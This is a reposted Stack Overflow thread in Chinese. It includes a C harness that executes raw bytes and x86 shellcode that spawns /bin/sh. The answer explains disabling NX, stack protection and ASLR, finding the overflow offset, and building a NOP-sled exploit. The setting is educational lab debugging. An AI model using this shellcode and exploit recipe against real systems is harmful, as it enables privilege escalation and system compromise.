gpt4 book ai didi

c - Shellcode 未运行

转载 作者:行者123 更新时间:2023-11-30 18:53:16 25 4
gpt4 key购买 nike

我尝试通过 C 程序运行大量 shell 代码来测试它们。在这里

#include<stdio.h>
#include<string.h>
unsigned char code[] = "shell here";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}

这是 shellcode 的示例

"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb"\
"\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89"\
"\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd"\
"\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f"\
"\x73\x68\x58\x41\x41\x41\x41\x42\x42\x42\x42"

(\bin\cat\etc\shadow)运行后

gcc sctest.c -o 输出
./out

它只是给我 shellcode 长度和段错误我已经尝试了很多不同的 shellcode,但一切都给我带来了段错误我的邮件 |尾部-1[18440.783383]测试[8768]:测试中8049700 ip 08049700 sp bffff2ec错误15的段错误[8049000+1000]我的 shellcode 有什么问题?

最佳答案

在禁用 NX-bit 和其他东西(例如 randomize_va_space)之后,我终于完成了。

首先,您应该使用键 -z execstack 和 -fno-stack-protector 编译可执行文件。

之后禁用 ASLR echo 0 >/proc/sys/kernel/randomize_va_space。 现在你必须找到 shellcode。您可以尝试 mspayload 或 msfvenom。 Shellcode 是一种字节码,通常为您提供 shell。

在这一步中,您应该找到堆栈溢出的偏移量。您可以尝试查找类似

的行
sub hex-offset, %esp

或者您可以尝试使用简单的脚本进行暴力破解,例如 ./your_binary < python -c "p​​rint('A')*n") 其中 n 是您的偏移量

找到偏移量(出现 SEGFAULT 且 dmesg | tail -1 表示 %eip 是 0x41414141)后,您只需编写漏洞利用程序即可。它的结构看起来像这样

NOPs(no operation)*x+shellcode+return-address(4 bytes)*y

len(shellcode)+x+4y=你的偏移量 其中返回地址是您的 NOP 所在堆栈中位置的地址(输入之前在 gdb info r 中看到的 %esp 的地址)

并且不要忘记,在 gdb 中工作的漏洞在没有 gdb 的情况下将无法工作,因为您需要从返回地址中添加/减去 36 个字节。

终于可以利用了

./your_binary < exploit.bin

关于c - Shellcode 未运行,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/33185103/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com